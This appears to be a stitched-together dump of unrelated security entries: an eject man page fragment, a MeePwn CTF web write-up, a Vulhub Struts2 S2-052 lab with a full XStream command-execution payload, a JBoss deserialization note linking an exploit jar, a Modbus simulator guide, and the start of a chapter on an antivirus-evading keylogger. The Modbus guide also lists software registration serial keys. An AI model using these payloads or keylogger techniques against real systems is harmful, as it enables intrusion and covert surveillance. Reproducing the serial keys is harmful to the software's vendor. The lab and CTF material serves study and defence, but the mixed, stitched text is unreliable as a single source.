与 name 相应的设备将被弹出.name 可以为设备文件或者其挂载点,
也可以为完整路径或者省略前面的 /dev 或者 /mnt 设备文件名.
如果没有指定 name,缺省使用 cdrom.有四种不同的弹出的方法,
具体要看设备是 CD-ROM, SCSI设备, 可移动软盘, 还是磁带而定.
默认的弹出会依次尝试所有四种方法, 直到成功为止.
如果设备当前是挂载上来的, 那么在弹出前要先卸载.
.PP
.SH COMMAND\-LINE OPTIONS (命令\-行选项)
.TP 0.5i
.B -h
该选项使得
.B eject
显示关于命令选项的简要描述.
.TP 0.5i
.B -v
令
.B eject
在冗长模式下运行; 显示更多的关于命令作什么用的信息.
.TP 0.5i
.B -d
如果调用了这个选项,
.B eject
会显示默认的设备名.
.TP 0.5i
.B -a on|1|off|0
该选项控制一些设备支持的自动弹出模式. 当激活时, 驱动器自动在设备关闭时弹出.
.TP 0.5i.
B -c <slot>
有了这个选项, 可由 ATAPI/IDE CD-ROM 控制器选择一个 CD 槽.
Linux 2.0 或者更高版本要求使用该功能.CD-ROM 驱动器不能在正使用时
(已挂载数据 CD 或者在播放音乐 CD)响应工作改变请求.
还要注意控制器的第一个槽设为 0,而不是 1.
.TP 0.5i
.B -t
有了这个选项, 会发一个关闭 CD-ROM 托盘的命令给驱动器.
不是所有的设备都支持该命令.
.TP 0.5i
.B -n
有了这个选项, 显示选定的设备, 但是不执行任何动作.
.TP 0.5i
.B -r
该选项指定了使用 CDROM 弹出命令应被弹出的驱动器.
.TP 0.5i
.B -s
该选项指定了使用 SCSI 命令应被弹出的驱动器.
.TP 0.5i
.B -f
该选项指定了使用可移动软盘弹出命令应被弹出的驱动器.
.TP 0.5i.
B -q
该选项指定了使用磁带驱动器离线命令应被弹出的驱动器.
.SH LONG OPTIONS(长选项)
所有选项与以下列出的长名字相关. 只要长名字缩写唯一, 它就可以缩写.
.br -h --help
.br -v --verbose
.br -d --default
.br -a --auto
.br -c --changerslot
.br -t --trayclose
.br -n --noop
.br -r --cdrom
.br -s --scsi
.br -f --floppy
.br -q --tape
.br
.SH EXAMPLES(示例)
.PP 弹出默认设备:
.IP
eject
.PP
弹出名字为 cdrom 的设备或者挂载点:
.IP
eject cdrom
.PP
使用设备名来弹出:
.IP
eject /dev/cdrom
.PP
使用挂载点来弹出:
.IP
eject /mnt/cdrom/
.PP 弹出第四个 IDE 设备:
.IP
eject hdd
.PP
弹出第一个 SCSI 设备:
.IP
eject sda
.PP
使用 SCSI 分区名(例如 ZIP 设备)来弹出
:.IP
eject sda4
.PP
在多盘片控制器上选择第五个磁盘:
.IP
eject -v -c5 /dev/cdrom
.PP
在 SoundBlaster CD-ROM 驱动器上开启自动弹出功能:
.IP
eject -a on /dev/sdpcd
.SH EXIT STATUS(退出状态)
.PP
如果操作成功, 返回 0, 如果操作失败或者命令语法无效, 则返回 1.
.SH NOTES(备注)
.PP
.B Eject
只对支持四种弹出方式其中之一或更多的设备起作用.
这些设备包括大多数的 CD-ROM 驱动器 (IDE, SCSI 和专有接口的),
一些 SCSI 磁带驱动器, JAZ 驱动器, ZIP 驱动器(并口, SCSI 以及 IDE 版本接口的),
以及 LS120 可移动软盘. 用户已经报告过在 Sun SPARC 和 Apple Macintosh
系统上的软盘驱动器也成功了. 如果
.B eject
不起作用, 最可能的原因是由于设备的内核驱动的限制, 而并非
.B eject
程序本身的问题. -r, -s, -f 和 -q 选项可以控制弹出的方式.
可指定一种以上的方式. 如果没有指定任何这些选项,
它会尝试所有四种方式(这在多数情况下工作很好).
.B Eject
不一定总是能判断设备是否已经挂载(例如, 如果设备有多个名字).
如果设备名是一个符号链接,
.B eject
会跟随该链接并使用其指向的设备.
如果
.B eject
判断设备能有多个分区, 它会尝试在弹出前卸载所有该设备已挂载的分区.
如果卸载失败, 程序不会尝试弹出该介质.
你可以弹出音频 CD.
如果驱动器为空, 一些 CD-ROM 驱动器会拒绝打开其托盘.
一些设备不支持托盘关闭的命令. 如果激活了自动弹出的功能.
那么驱动器总会在运行该命令后弹出. 不是所有的 Linux 内核 CD-ROM
驱动程序都支持自动弹出模式.
你需要适当的特权以访问设备文件. 在弹出一些设备(例如, SCSI 设备)时,
要求以 root 或者 setuid root 的身份运行.
用来找到给定名字的设备的搜索方法如下. 如果名字以标记斜线结束,
它将被移去(这是为了支持使用 shell 文件名补全所生成的文件名).
如果名字以 '.' 或 '/' 开头, 它会试图以设备文件名或者挂载点打开它.
如果那样失败了, 它会尝试在名字前面补加 '/dev/', '/mnt',
`/dev/rdsk/', '/dev/dsk/' 以及 './',
直到找到的设备文件名或者能够打开挂载点为止.
程序检查 /etc/mtab 以获知已挂载的设备. 如果那样也失败了,
它还会检查 /etc/fstab 以获知当前未挂载设备的挂载点.
推荐创建如 /dev/cdrom 或者 /dev/zip 之类的符号链接,这样
.B eject
可以使用易记的名字决定合适的设备. 为了节约输出,
你可以创建一个适合于你的特定配置的针对 eject 选项的 shell 别名.
.SH AUTHOR(作者)
.B Eject
由 Jeff Tranter (tranter@pobox.com) 写成, 并在 GNU 通用出版许可的条例下发布.
参看源文件中的文件 COPYING 和注释以获知详情.
.SH 又见
mount(2), umount(2), mount(8), umount(8)
.br /usr/src/linux/Documentation/cdrom/
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
.BR 2001/08/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Omega Sector (web, 44 solved, 140p)
This was a 2 stage web challenge.
Frist part was to get authenticated into the system.
## Authenticate
For starters we get [php source code](index.php) by finding hint in the html about `is_debug=1` parameter.
The important part is:
```php
$remote=$_SERVER['REQUEST_URI'];
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team"){
```
After we pass this check we can authenticate.
The tricky part is that normally `REQUEST_URI` contains only the file path, not the hostname.
And if there is no hostname there, then we get into the condition and overwrite the `$remote` with our own IP.
But if we go to https://secure.php.net/manual/pl/reserved.variables.server.php and read a bit we can find:
```
Note that $_SERVER['REQUEST_URI'] might include the scheme and domain in certain cases.
```
Basically we can send request:
```
GET http://human.ludibrium.meepwn.team?human=Yes
HTTP/1.0
Host: human.ludibrium.meepwn.team
Connection: close
```
And it will pass the check just fine.
We can do the same for `alien` and therefore get session cookies authenticated to access `omega_sector.php` and `alien_sector.php`.
We can automate this with:
```python
from crypto_commons.netcat.netcat_commons import nc
s = nc("138.68.228.12", 80)
s.sendall("GET http://human.ludibrium.meepwn.team?human=Yes HTTP/1.0\r\nHost: human.ludibrium.meepwn.team\r\nConnection: close\r\n\r\n")
print(s.recv(9999))
s = nc("138.68.228.12", 80)
s.sendall("GET http://alien.somewhere.meepwn.team?alien=%40!%23%24%40!%40%40 HTTP/1.0\r\nHost: alien.somewhere.meepwn.team\r\nConnection: close\r\n\r\n")
print(s.recv(9999))
```
## Exploit
Once we get authenticated we can explore new parts of the system.
Both look similar - there is a textbox where we can place some input and save it.
Once we do this, we get the filepath to the resulting file, for example: `Saved in human_message/239fe816a898ca6b036c5b21970af279.human`
And we can verify, the file is there.
If we look at the POST request, we can see that we control 2 parameters -> message and type.
Type is interesting because it is set to `human` here, and it seems there is no validation.
We can change it to `php` if we want.
In fact we can go even further, because we can set it to `'/../../alien_message/somefunnyname.php'`, and save file from `human` part in `alien` part if we want to.
More importantly, we can control the filename this way.
We can automate sending payloads by:
```python
def send_alien(content, path):
r = requests.post('http://138.68.228.12/alien_sector.php', data={'message': content, 'type': path},
headers={'Cookie': 'PHPSESSID=a3bdqr9r40csph3el906dphtc0'})
print(r.text)
```
Now the last part is to actually gain RCE and execute some code, because we need to gain access to `secret.php` file.
The difficulty is that the charsets are restricted.
We run a simple charset checker script and it showed us that basically human can use only letters, digits and whitespaces, and alien can use symbols and punctation.
We can't combine them, because the files are always overwritten, so we need to create the payload from only one of those.
It's clear we won't get PHP code without `<?` so the only choice is the alien part.
We can send:
<?= `something here` ?>
To execute some code in the system shell.
We decided to run: `/???/??? ../??????.??? > ===`.
For those unfamiliar with bash path wildcards, `/???/???` matches `/bin/cat`, `../??????.???` matched `secret.php` and `===` is actually a proper filename.
So we're actually running `/bin/cat ../secret.php > ===`, efectively copying the secret file contents.
This is of course a bit random, because matching is alphabetical and some other 3-letter binary will also match, but we don't care.
After that we can simply read contents of `alien_message/===` to get the flag: `MeePwnCTF{__133-221-333-123-111___}`
|
sec-knowleage
|
# S2-052 远程代码执行漏洞
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞详情:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
## 测试环境搭建
```
docker compose up -d
```
## 漏洞说明
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 | Content-Type | 解析方法
---- | ---- | ----
xml | application/xml | xstream
json | application/json | jsonlib或jackson(可选)
xhtml | application/xhtml+xml | 无
无 | application/x-www-form-urlencoded | 无
无 | multipart/form-data | 无
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
```
<classname></classname>
//或者
<paramname class="classname"></paramname>
```
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
## 漏洞复现
启动环境后,访问`http://your-ip:8080/orders.xhtml`即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
所以,最后发送的数据包为:
```
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
```
以上数据包成功执行的话,会在docker容器内创建文件`/tmp/success`,执行`docker compose exec struts2 ls /tmp/`即可看到。
此外,我们还可以下载一个jspx的webshell:

还有一些更简单的利用方法,就不在此赘述了。
## 漏洞修复
struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:
```java
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
if (invocation.getAction() instanceof ModelDriven) {
stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
}
stream.addPermission(NullPermission.NULL);
stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
stream.addPermission(ArrayTypePermission.ARRAYS);
stream.addPermission(CollectionTypePermission.COLLECTIONS);
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
```
但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。
|
sec-knowleage
|
# JBoss JMXInvokerServlet 反序列化漏洞
这是经典的JBoss反序列化漏洞,JBoss在`/invoker/JMXInvokerServlet`请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
参考文档:
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.seebug.org/vuldb/ssvid-89723
- http://www.freebuf.com/sectool/88908.html
- https://paper.seebug.org/312/
## 漏洞环境
启动漏洞环境
```
docker compose up -d
```
首次执行时会有1~3分钟时间初始化,初始化完成后访问`http://your-ip:8080/`即可看到JBoss默认页面。
## 漏洞复现
JBoss在处理`/invoker/JMXInvokerServlet`请求的时候读取了对象,所以我们直接将[ysoserial](https://github.com/frohoff/ysoserial)生成好的POC附在POST Body中发送即可。整个过程可参考[jboss/CVE-2017-12149](https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149),我就不再赘述。
网上已经有很多EXP了,比如[DeserializeExploit.jar](https://cdn.vulhub.org/deserialization/DeserializeExploit.jar),直接用该工具执行命令、上传文件即可:

|
sec-knowleage
|
# Modbus 仿真环境搭建
<p align="center">
<img src="../../../../assets/img/banner/Modbus.jpg">
</p>
---
## 前言
Modbus 使用一种简单的 Master and Slave 主从协议进行通信。客户机作为主站,向服务器发送请求;服务器(从站)接到请求后,对请求进行分析并作出应答。一般使用上,监控系统 (HMI) 都为 Master,而 PLC、电表、仪表等都为 Slave。
所以,模拟器 Modbus Poll 就是 Master,Modbus Slave 就是 Slave
---
## 安装及使用
官网下载软件安装包
- https://www.modbustools.com/download.html
> 老版本序列号 5A5742575C5D10
> modbus poll 4.3.4 版本序列号 9876543210ABCDEFGHIJ9813
> Modbus Slave version 4.3.1 版本序列号 9876543210ABCDEFGHIJ5295
一个 ModbusPollSetup64Bit,和 ModbusSlaveSetup64Bit 双击一路下一步即可,并不复杂。
**简单使用**
安装完毕,双击打开 ModbusSlave
点开上方 connection,选择了连接协议为 Modbus TCP/IP,默认地址为 127.0.0.1 无需设置,到时候 Modbus Poll 就连这个地址,其他的端口为 502 和 Ipv4 默认。
ID 默认为 1,是 Slave 的设备地址,F=03 代表 03 的功能码
设置好一些供 Poll 读取的数据
双击打开 ModbusPoll,打开后界面如下图所示。
其中:Tx = 0 表示向主站发送数据帧次数;Error = 0 表示通讯错误次数;ID = 1 表示模拟的 Modbus 子设备的设备地址,图中地址为 1;F = 03 表示所使用的 Modbus 功能码;SR = 1000ms 表示扫描周期。红字部分,表示当前的错误状态,“No Connection” 表示未连接状态。
点开上方 connection,进行连接
如下图, Modbus Poll 连接上 Slave,也读取到了 Slave 中设置好的寄存器的值,其中 Tx=34 代表向 PLC 发送数据帧的次数,Err =0 代表通讯错误次数,互相连接上之后就不会再出现 No connection 的红字。
因为 Modbus 能访问一条数据链路上的 254 个设备,Poll 也支持读写同时来自不同设备的不同数据内容。
---
### Modbus Poll
Modbus 主机仿真器,用于测试和调试 Modbus 从设备。该软件支持 ModbusRTU、ASCII、TCP/IP。用来帮助开发人员测试 Modbus 从设备,或者其它 Modbus 协议的测试和仿真。它支持多文档接口,即,可以同时监视多个从设备 / 数据域。每个窗口简单地设定从设备 ID,功能,地址,大小和轮询间隔。你可以从任意一个窗口读写寄存器和线圈。如果你想改变一个单独的寄存器,简单地双击这个值即可。或者你可以改变多个寄存器 / 线圈值。提供数据的多种格式方式,比如浮点、双精度、长整型(可以字节序列交换)。
**参数设置**
单击菜单 [Setup] 中[Read/Write Definition.. F8]进行参数设置,会弹出参数设置对话框。
其中
- Slave 为要访问的 Modbus 从站(从机)的地址,对应主窗口(主画面)中的 ID 值,默认为 1。
- Function 为寄存器功能码的选择,共四种, 分别对应关系如下:
| 代码 | 中文名称 | 寄存器 PLC 地址 | 位操作/字操作 | 操作数量 |
| - | - | - | - | - |
| 01 | 读线圈状态 | 00001-09999 | 位操作 | 单个或多个 |
| 02 | 读离散输入状态 | 10001-19999 | 位操作 | 单个或多个 |
| 03 | 读保持寄存器 | 40001-49999 | 字操作 | 单个或多个 |
| 04 | 读输入寄存器 | 30001-39999 | 字操作 | 单个或多个 |
| 05 | 写单个线圈 | 00001-09999 | 位操作 | 单个 |
| 06 | 写单个保持寄存器 | 40001-49999 | 字操作 | 单个 |
| 15 | 写多个线圈 | 00001-09999 | 位操作 | 多个 |
| 16 | 写多个保持寄存器 | 40001-49999 | 字操作 | 多个 |
- Address 为寄存器起始地址,默认从 0 开始。
- Length 为寄存器连续个数,默认为 10 个,对应组态软件的通道数量。
- Scan Rate 为读取数据周期,单位毫秒,默认为 1000ms。
设置完成单击 OK 按钮,模拟窗口将显示定义的寄存器列表。
**显示设置**
数据显示方式设置 : 默认情况下,寄存器数据的显示方式为 Signed 方式 (16 进制无符号二进制),数据范围为 - 32768~32767。如果用户要以其他数值方式显示,可以通过菜单 [Display] 进行选择设置,如下图所示:
地址格式设置 : Modbus Slave 默认使用 PLC 地址,[Display]菜单中 [PLC Addresses(Base 1)] 为默认选中状态,默认寄存器的起始地址为 1 开始,此点与组态软件的 Modbus 串口和 TCP 数据转发驱动是相同的。如果测试时需要设置起始地址为 0 开始,可选择[Protocol Addresses(Base 0)]。一般情况下使用默认 PLC 地址即可。
**串口连接**
单击菜单 [Connection] 中[Connect.. F3]进行串口连接
其中:
- 端口1,表示使用的串口 (COM1),根据实际情况选择不同的串口或者 TCP/IP 进行连接。
- Mode,表示 Modbus 协议模式,使用串口时有效;使用 TCP/IP 时自动为 TCP 模式。
- Response Timeout,表示读取超时时间,从站在超时时间内没有返回数据,则认为通讯失败。
- Delay Between Polls,每次扫描的最小间隔时间,默认为 10ms。
- Remote Server,表示 TCP/IP 模式时的终端从站设备的网络设置。
- IP Address,表示 TCP/IP 模式时从站 IP 地址。
- Port,表示 TCP 模式时从站网络端口。
- 用户可根据需要对参数进行设置,默认为:串口 1、波特率 9600、数据位 8 位、无校验位、1 位停止位。确认设置后点击 OK 按钮即可。如果连接并读取正确,此时主窗口将显示读取寄存器的相关信息。
**寄存器值改变**
在主窗口寄存器地址上双击鼠标,弹出修改对话框
在 Value 输入框中输入值确认即可。范围为 -32768~32767。
其中:
- Slave 为要访问的 Modbus 从站的地址,对应主画面中的 ID 值,默认为 1。
- Address 为当前操作的寄存器的地址。
- Use Function 为所使用的功能码,可以选择 06 或 16 功能码进行写入。
**查看通讯数据帧**
单击 [Display] 菜单中的 [Communication…] 或者单击工具栏上按钮,可以调出串口收发数据帧监视信息对话框“CommunicationTraffic”,用来查看分析收发的数据帧。
其中:前 6 位为数据帧的序号。Rx 表示接收的数据帧。Tx 表示发送的数据帧。
**断开连接**
点击 [Disconnect F4] 即可断开连接结束测试,此时主窗口中出现红色的“No Connection”表示未连接状态。
---
### Modbus Slave
Modbus 从设备仿真器,可以仿真 32 个从设备 / 地址域。每个接口都提供了对 EXCEL 报表的 OLE 自动化支持。主要用来模拟 Modbus 从站设备, 接收主站的命令包, 回送数据包。帮助 Modbus 通讯设备开发人员进行 Modbus 通讯协议的模拟和测试,用于模拟、测试、调试 Modbus 通讯设备。可以 32 个窗口中模拟多达 32 个 Modbus 子设备。与 Modbus Poll 的用户界面相同,支持功能 01, 02, 03, 04, 05, 06, 15, 16, 22 和 23,监视串口数据。
**参数设置**
单击菜单 [Setup] 中 [Slave Definition.. F2] 进行参数设置,会弹出参数设置对话框。
其中
- Slave 为 Modbus 从站地址,对应主画面中的 ID 值,默认为 1。
- Function 为寄存器功能码的选择,共四种, 分别对应关系如下:
| 代码 | 中文名称 | 寄存器 PLC 地址 | 位操作/字操作 | 操作数量 |
| - | - | - | - | - |
| 01 | 读线圈状态 | 00001-09999 | 位操作 | 单个或多个 |
| 02 | 读离散输入状态 | 10001-19999 | 位操作 | 单个或多个 |
| 03 | 读保持寄存器 | 40001-49999 | 字操作 | 单个或多个 |
| 04 | 读输入寄存器 | 30001-39999 | 字操作 | 单个或多个 |
| 05 | 写单个线圈 | 00001-09999 | 位操作 | 单个 |
| 06 | 写单个保持寄存器 | 40001-49999 | 字操作 | 单个 |
| 15 | 写多个线圈 | 00001-09999 | 位操作 | 多个 |
| 16 | 写多个保持寄存器 | 40001-49999 | 字操作 | 多个 |
- Address 为寄存器起始地址,默认从 0 开始。
- Length 为寄存器连续个数,默认为 10 个,对应组态软件的通道数量。
设置 OK 按钮,模拟窗口将显示定义的寄存器列表:
其中:ID,表示模拟的 Modbus 子设备的设备地址;F,表示功能码 点击对应的寄存器,即可修改对应寄存器的值或者状态。比如 2 寄存器值修改成 9,9 寄存器值修改成 100。
**显示设置**
数据显示方式设置: 默认情况下,寄存器数据的显示方式为 Signed 方式 (16 进制无符号二进制),数据范围为范围为 -32768~32767。如果用户要以其他数值方式显示,可以通过菜单“Display” 进行选择设置,如下图所示:
地址格式设置: Modbus Slave 默认使用 PLC 地址,“Display”菜单中 “PLC Addresses(Base 1)” 为默认选中状态,默认寄存器的起始地址为 1 开始,此点与组态软件的 Modbus 串口和 TCP 数据转发驱动是相同的。如果测试时需要设置起始地址为 0 开始,可选择“Protocol Addresses(Base 0)”。一般情况下使用默认 PLC 地址即可。
**连接**
点击菜单 [Connection] 中[Connect.. F3]进行连接。弹出连接对话框
其中:
- 端口,表示使用的串口(COM2),根据实际情况选择不同的串口或者 TCP/IP 进行连接
- Mode,表示 Modbus 协议模式,使用串口时有效;使用 TCP/IP 时自动为 TCP 模式
- Flow Control,表示流控制,串口模式时有效;
- Ignore Unit ID,表示 TCP 模式时忽略无效的组编号
- 用户可根据需要对串口参数进行设置,默认为: 串口 1, 波特率 9600, 数据位 8 位,无校验位,1 位停止位。
- 确认设置后点击 “OK” 按钮即可。此时主窗口中红色的 “No connection” 表示未连接状态的信息消失,表明从站处于正常连接状态。
**寄存器值改变**
在主窗口寄存器地址上双击鼠标,弹出修改对话框
在输入框中输入值确认即可。范围为 -32768~32767。 其中:Auto increment 选项钩选上后,对应寄存器的值可以每 1 秒种增加 1。
**查看通讯数据帧**
点击 [Display] 菜单中的 [Communication…], 可以调出串口收发数据帧监视信息对话框,用来查看分析收发的数据帧。如下图所示:
其中:前 6 位为数据帧的序号。Rx:表示接收数据帧。Tx: 表示发送数据帧。
**断开连接**
点击 [Disconnect F4] 即可断开连接结束测试,此时主窗口中出现红色的 [No connection] 表示未连接状态。
---
## Modbus 主机/从机模拟
安装 vspd 虚拟串口工具。
- https://www.virtual-serial-port.org/
通过工具添加 COM2 和 COM3 两个端口。
接下来打开已经安装的 modbuspoll 和 modbus slave 软件,分别按 [F8] 配置主从端的相关配置,如图:
接下来按分别按 “F3” 进行连接,注意修改连接界面的端口,主机选择我们虚拟出来的 com2, 从机选择 com3 端口,因为我只用到了 RTU 模式,所以其他选项如波特率 9600, 比特位 8,校验位 1,无等价位等可以保持不变,然后点击确定进行连接,未连接成功窗口第二行会给出提示信息。
通讯开始,主机端显示:TX=99,Err=0,ID=1,F=03,SR=1000ms。意思是,发送 99 次命令,错误次数,从机 ID,功能号,轮询间隔。
使用工具栏的 [Communication Traffic] 按钮,可以显示出当前发送命令和接受的数据。
---
## Modbus Poll 连接 Schneider 设备
在编程软件上查看 PLC 的 IP 地址,用于 Modbus Poll 的连接
模拟器连接 Slave(PLC)需要知道设备 ID, 查看设备 ID
设置 Modbus Poll 连接 PLC 的 IP、ID 以及 Function 进行设置,最终连接到 PLC 设备的寄存器区域读取到数据。
---
## Source & Reference
- [Modbus PLC攻击分析:从Modbus PollSlave到M340](https://www.freebuf.com/ics-articles/234845.html)
- [Modbus测试工具ModbusPoll与Modbus Slave使用方法](https://www.cnblogs.com/xiaosong0206/p/11088726.html)
|
sec-knowleage
|
# 第7章 四分卫突破——逃避杀毒软件和网络检测
> 译者:[@Snowming](https://github.com/Snowming04)

## 为红队行动编写工具
红队人员和渗透测试人员比较明显的区别之一就是红队人员能快速的适应并理解不同的防护。无论是理解低级语言(机器代码和汇编语言),编写`shellcode`,创建自定义的 C2 二进制可执行文件,还是修改代码来隐藏恶意程序,它们都是我们(红队)日常工作的一部分。我总是遇到不会编程的渗透测试人员,虽然这不是一项硬性要求,但是编程水平确实会决定他们专业成长的高度。 因此,我专门编写这一章节来给那些没有使用过偏向底层的低级语言编程的人一个良好的入门方向。
## 基础的键盘记录器
键盘记录器是所有渗透测试人员 / 红队人员的必备工具,本节将指导你制作通用的键盘记录器。 有时我们只想持续监控某个用户或获取其他凭据。 这可能是因为我们此时无法进行任何类型的横向移动或者权限提升,或者我们可能只想监视用户以便更好开展将来的入侵活动。 在这些情况下,我们通常喜欢放置一个持续在受害者系统上运行的键盘记录器并将键盘记录的数据发送到外网。 以下示例只是一个 `POC` ,本实验的目的是让你从这里了解基础知识和构建它们。 它全部用 C 语言(较底层的语言)来编写的原因是保持二进制文件相对较小、更好的系统控制、并且规避杀毒软件。 在之前的书中,我们使用 `Python` 编写了一个键盘记录器并使用 `py2exe` 对其进行编译以使其成为二进制文件,但这些很容易就被检测到。 让我们来看一个稍微复杂的例子。
### 设置你的环境
这是在 C 中编写和编译以生成 Windows 二进制文件并创建自定义键盘记录器所需的基本设置。
* 在一个虚拟机中安装 Windows 10
* 安装 `Visual Studio` ,以便你可以使用命令行编译器和使用 Vim 进行代码编辑
到目前为止,Windows API 编程的最佳学习资源是微软自己的开发者网络网站 [MSDN](http://www.msdn.microsoft.com)。 `MSDN` 是一个非常宝贵的资源,它详细说明了系统调用,数据类型和结构定义,并包含了许多示例。通过阅读微软出版社出版的《Windows Internals》书籍,可以更深入地了解 Windows 操作系统, 虽然这个项目中并不是特别需要这个。 对于学习 C 语言,有一本好书,C 语言的创始人之一参与了对此书的撰写,名为《C语言程序设计》(The C Programming Language),书的作者是 Kernighan 和 Ritchie。最后,可以阅读《Beej’s Guide to Network Programming》,有印刷版和[在线版](https://beej.us/guide/bgnet/),这是 C 语言中关于的 socket 编程的一本很好的入门读物。
### 从源码编译
在这些实验中,将会有多个示例代码和例子。实验室将使用微软的 `Optimizing Compiler` 编译代码,该编译器随 `Visual Studio` 社区版本一起提供,并内置于 `Visual Studio` 开发者命令提示符(Visual Studio Developer Command Prompt)中。安装 VS 社区版本后,请通过 **工具(Tools)** --> **获取工具和功能(Get Tools and Features)** 安装 C++ 的组件 **通用 Windows 平台开发和桌面开发**。要编译示例源码,请打开开发者命令提示符的一个实例,然后切换到包含源代码文件的文件夹目录。 最后,运行命令 `cl sourcefile.c io.c`。这将生成一个与源文件同名的可执行文件。
编译器默认为 32 位,但此代码也可以用64位进行编译。要编译64位程序,请运行位于 `Visual Studio` 文件夹中的批处理程序。在命令提示符中,切换到目录 “ C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build ” ,注意,这个目录可能会因为你的 Visual Studio 版本而改变(但是大致是以上目录)。然后,运行命令 `vcvarsall.bat x86_amd64` ,这将设置 Microsoft 编译器编译 64 位的二进制文件而不是编译成 32 位的。现在,你可以通过运行 `cl path/to/code.c`(path 是源码文件的绝对路径)来编译代码。
### 示例框架
该项目的目标是创建一个键盘记录器,利用 C 语言和底层 Windows 功能来监视击键。该键盘记录器使用 `SetWindowsHookEx` 和 `LowLevelKeyboardProc` 函数 。 `SetWindowsHookEx` 允许在本地和全局上下文中设置各种类型的 Hook(钩子)。在这种情况下,`WH_KEYBOARD_LL`参数将用于提取底层键盘事件 。 `SetWindowsHookEx` 的函数原型看起来像这样( http://bit.ly/2qBEzsC ):
```c++
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
```
该函数创建了定义为整型的 hook 的 ID、指向函数的指针、句柄和线程 ID。前两个值是最重要的。你即将要安装的 hook 的 ID 数据类型是整型。Windows 会在功能页面上列出的可用 ID 。在我们的例子中,将使用 ID 13 或 `WH_KEYBOARD_LL` 。`HOOKPROC` 是一个指向回调函数的指针,每次被钩住的进程接收数据时都会调用该函数。这意味着每次按下一个键,都会调用 `HOOKPROC`。这是用于将击键写入文件的函数。`hMod` 是包含 `lpfn` 指针指向的函数的 DLL 的句柄。此值将设置为 NULL,因为函数与 `SetWindowsHookEx` 在同一进程中使用。dwThreadId 将设置为0以将回调与桌面上的所有线程相关联。最后,该函数返回一个整数,该整数将用于验证 hook 是否已正确设置或以其他方式退出。
第二部分是回调函数。回调函数将为此键盘记录器完成一系列繁重的工作。此函数将处理接收击键,将其转换为 ASCII 字符以及记录所有文件操作。 `LowLevelKeyBoardProc`( http://bit.ly/2HomCYQ )的原型如下所示:
```c
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
```
让我们回顾一下 `LowLevelKeyBoardProc` 所需的内容。该函数的参数是一个整数,告诉 Windows 如何解释该消息。这些参数中的两个是:
- wParam,它是消息的标识符
- lParam,它是指向 `KBDLLHOOKSTRUCT` 结构体的指针
